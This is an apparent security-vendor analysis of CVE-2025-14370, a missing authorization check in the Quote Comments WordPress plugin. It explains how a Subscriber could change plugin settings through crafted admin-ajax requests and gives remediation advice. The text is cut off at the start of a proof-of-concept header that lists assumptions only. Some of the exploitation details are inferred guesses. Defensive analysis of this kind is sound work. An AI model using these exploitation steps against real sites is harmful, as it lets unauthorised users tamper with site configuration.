Atomic Edge analysis of CVE-2025-14370 (metadata-based):
The Quote Comments WordPress plugin version 3.0.0 and earlier contains a missing authorization vulnerability. The flaw allows authenticated users with Subscriber-level permissions or higher to modify arbitrary plugin settings. This vulnerability stems from the quotecomments_add_admin function, which lacks proper capability checks.
Atomic Edge research indicates the root cause is a missing authorization check on an administrative function. The CWE-862 classification confirms the plugin fails to verify a user’s permissions before executing privileged operations. The vulnerability description explicitly identifies the quotecomments_add_admin function as the vulnerable component. Without source code, we infer this function likely handles AJAX requests or admin POST submissions. The function accepts an ‘action’ parameter that controls which plugin option to update, but does not validate the requesting user has administrative rights.
Exploitation requires an authenticated WordPress session with at least Subscriber privileges. Attackers send a crafted HTTP request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) or admin-post endpoint (/wp-admin/admin-post.php). The request includes an action parameter containing the vulnerable function’s hook name, plus additional parameters specifying which plugin option to modify and its new value. The exact hook name likely follows WordPress convention, such as ‘quotecomments_add_admin’ or a derivative of the plugin slug.
Remediation requires adding proper capability checks before processing sensitive operations. The fixed version should verify the current user has the ‘manage_options’ capability or a custom plugin-specific administrative capability before executing the quotecomments_add_admin function. WordPress security best practices mandate using current_user_can() checks for all administrative functions, combined with nonce verification for state-changing operations.
Successful exploitation enables attackers to alter any plugin configuration setting. This could disable security features, modify display behavior, or change functional defaults. While the CVSS vector indicates no confidentiality or availability impact (C:N/A:N), the integrity impact (I:L) allows unauthorized modification of plugin state. Attackers cannot directly escalate privileges or execute code through this vulnerability alone, but could weaken the site’s security posture for subsequent attacks.

/**
* Proof of Concept for CVE-2025-14370
* Assumptions based on vulnerability description:
* 1. The vulnerable function 'quotecomments_add_admin' is registered as a WordPress AJAX action
* 2. The function accepts an 'action' parameter that specifies which plugin option to update
* 3. No capability check exists before processing the request
* 4. Subscriber-level users can access this endpoint
